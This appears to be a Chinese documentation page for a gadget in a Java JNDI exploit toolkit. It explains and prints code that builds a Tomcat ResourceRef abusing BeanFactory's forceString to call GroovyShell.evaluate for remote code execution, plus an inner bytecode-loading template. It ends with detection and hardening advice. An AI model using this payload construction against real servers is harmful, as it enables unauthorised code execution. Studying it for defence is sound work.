Skip to content

Latest commit

 

History

History
95 lines (75 loc) · 8.4 KB

File metadata and controls

95 lines (75 loc) · 8.4 KB

Groovy RCE(GroovyShellRef)

  • 类别:jndi 别名:— 优先级:30
  • 作者:—
  • 依赖tomcatorg.apache.naming.factory.BeanFactory)、org.codehaus.groovy:groovy

作用

构造一个 Tomcat org.apache.naming.ResourceRef(JNDI Reference 的子类),把工厂指定为 org.apache.naming.factory.BeanFactory、Bean 类型指定为 groovy.lang.GroovyShell。当受害方在 JNDI 查找中解引用(decode)该 Reference 时,Tomcat BeanFactory 会实例化 GroovyShell 并通过 forceString 机制调用其单 String 参数方法 evaluate(String),从而执行任意 Groovy 表达式,达成 RCE。它是 JNDI Reference 注入(JNDIResourceRefPayload)场景下的一个链尾 sink(END)。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactoryEND
    • ResourceRef:本 gadget 产出的是 Tomcat ResourceRef 对象,承接需要「ResourceRef 载体」的上游(JNDI Reference 类 Payload)。
    • TomcatBeanFactory:标识该利用依赖 Tomcat 内置的 org.apache.naming.factory.BeanFactory 对象工厂。
    • END:本 gadget 可作为整条链的最外层终点(直接产出可交付 Payload 的 Reference)。
  • 衔接 nextTagsGroovy_Expr —— 之后(更内层)需要一个「产出 Groovy 表达式字符串」的 gadget,把要执行的 Groovy 源码作为 String 传入。典型内层为 GroovyConverttagsGroovy_Expr)。
  • excludes:无。

源码剖析

整个类只有 getObject(String)invoke 两个方法,逻辑极简,全部原理落在其构造的 ResourceRef 结构上:

@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"}, nextTags={"Groovy_Expr"})
@GadgetAnnotation(name="Groovy RCE",
    description="factory: org.apache.naming.factory.BeanFactory\nJNDI Reference的一种,通过BeanFactory调用单String方法:groovy.lang.GroovyShell#evaluate 执行任意Groovy表达式",
    dependencies={"tomcat", "org.codehaus.groovy:groovy"}, priority=30)
public class GroovyShellRef implements Gadget {
    public Reference getObject(String groovyString) throws Exception {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        ref.add((RefAddr)new StringRefAddr("forceString", "x=evaluate"));
        ref.add((RefAddr)new StringRefAddr("x", groovyString));
        return ref;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        String groovyString = (String)chain.doCreate(context);
        return this.getObject(groovyString);
    }
}

逐段解释:

  1. invoke —— 取内层字符串chain.doCreate(context) 先执行更内层的 gadget(nextTags=Groovy_Expr,即 GroovyConvert 一类),其产物是一段 Groovy 源码字符串,强转为 String 后交给 getObject。这符合本库「链由内向外构建」的约定:内层先产出表达式字符串,本 gadget 再把它封装为 Reference。

  2. new ResourceRef(...) —— 声明目标 Bean 与工厂

    • 第 1 个参数 "groovy.lang.GroovyShell"className,即 BeanFactory 将要实例化(Class.forName(...).newInstance())的类。GroovyShell 有可用的无参构造,可被直接实例化。
    • 第 6 个参数 "org.apache.naming.factory.BeanFactory"factoryClassName。JNDI 解引用 Reference 时会加载该工厂并调用其 getObjectInstance(...)。与 RMI/LDAP 加载「远程 Factory 类」不同,BeanFactoryTomcat 本地已存在的类,因此本链无需外连 codebase、不触发 trustURLCodebase 限制,是本地 Reference 注入的经典绕过路径。
  3. StringRefAddr("forceString", "x=evaluate") —— 关键的方法劫持:Tomcat BeanFactory 在处理 Bean 属性时,正常只会调用 setXxx setter。forceString 是它提供的特殊指令:"x=evaluate" 表示「对逻辑属性名 x,强制改用名为 evaluate 的单 String 参数方法来赋值」。于是 BeanFactory 会反射查找 GroovyShell#evaluate(String) 并以其为「setter」。这正是把「设置属性」偷换成「调用任意单 String 方法」的核心技巧。

  4. StringRefAddr("x", groovyString) —— 提供实参:属性 x 的值即内层产出的 Groovy 源码。BeanFactory 处理到 x 时,按上一步的映射调用 GroovyShell.evaluate(groovyString),Groovy 源码被解释执行,形成 RCE。

触发链(受害端):JNDI lookupNamingManager.getObjectInstanceBeanFactory.getObjectInstance → 实例化 GroovyShell → 依据 forceString 反射调用 evaluate(x) → Groovy 表达式执行。

需要强调:本 gadget 不做任何 Groovy 编码/转换,只负责封装。要执行的 Groovy 字符串完全由内层 gadget 决定。预设链中内层是 GroovyConvert,其模板把字节码 Base64 后拼进一段「用 ScriptEngine 加载并执行字节码」的 Groovy 表达式:

public static String template = "Class.forName(\"javax.script.ScriptEngineManager\").newInstance()"
    + ".getEngineByName(\"JavaScript\").eval(\"" + JsConvert.jsTemplate + "\")";
private String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);
    return String.format(template, bytecodeB64);
}

即最终执行的 Groovy 会再嵌套一层 JS ScriptEngine 去加载字节码(Exec 产出的 ProcessBuilder 字节码),完成命令执行。

参数(@Param)

本类无 @Paramparams 为空)。要执行的 Groovy 表达式不是本 gadget 的用户参数,而是由内层 gadget(如 GroovyConvert;命令来自更内层的 Exec.cmd)经 chain.doCreate 注入。

适用版本与原理要点

  • 服务端前提:目标须使用 Tomcat(提供 org.apache.naming.factory.BeanFactoryResourceRef),且存在可控 JNDI 注入点(JNDIResourceRefPayload,如 InitialContext.lookup 参数可控 / JNDI Reference 注入)。
  • 依赖前提:目标 classpath 上须存在 org.codehaus.groovy:groovygroovy.lang.GroovyShell)。
  • 原理要点:利用 BeanFactoryforceString 特性把「setter 赋值」变为「调用任意单 String 参数方法」,从而调用 GroovyShell#evaluate(String)。因 Factory 与目标类均为本地类,无需远程 codebase,可绕过 com.sun.jndi.rmi/ldap.object.trustURLCodebase=false 等对远程类加载的限制。
  • 备选关系:description 提示「一些场景下若 EL 执行失败可尝试 Groovy 执行」。同族 GroovyClassLoaderRefGroovyClassLoader 而非 GroovyShell,是同类思路的另一种单 String 方法。

所属预设链

  • Groovy 脚本执行(链 id 42,applicablePayloads: JNDIResourceRefPayloadsteps: [GroovyShellRef, GroovyConvert, BytecodeConvert, Exec] 角色:GroovyShellRef 为最外层 sink,封装出交付用的 ResourceRef;内层依次由 GroovyConvert 生成 Groovy 表达式字符串、BytecodeConvert 处理字节码、Exec 产出命令执行字节码。

关联

  • 内层(nextTags=Groovy_Expr):GroovyConvertGroovy2Convert(用 @groovy.transform.ASTTest 变体)。
  • 同族 JNDI/BeanFactory Reference sink:GroovyClassLoaderRefH2CreateDirRef 等(同为 tags: ResourceRef + TomcatBeanFactory + ENDBeanFactory 单方法调用族)。
  • 载体 Payload:JNDIResourceRefPayload

防御与检测

  • 流量/日志特征:JNDI 响应或注入点中出现 factoryClassName=org.apache.naming.factory.BeanFactoryclassName=groovy.lang.GroovyShell,以及 forceStringx=evaluateRefAddr。Reference 中带 forceString 字段本身即高度可疑。
  • 加固建议
    • 禁止不可信输入进入 JNDI lookup;对 JNDI 注入点做严格白名单。
    • 移除或隔离非必要的 groovy 依赖;对 GroovyShell/GroovyClassLoader 的可达性做最小化。
    • 审计 Tomcat BeanFactoryforceString 能力——排查是否有外部可控 Reference 能到达 BeanFactory.getObjectInstance
    • 收敛 JNDI 组件配置,即便远程 codebase 已被禁用,也要防范此类纯本地类 Reference 注入。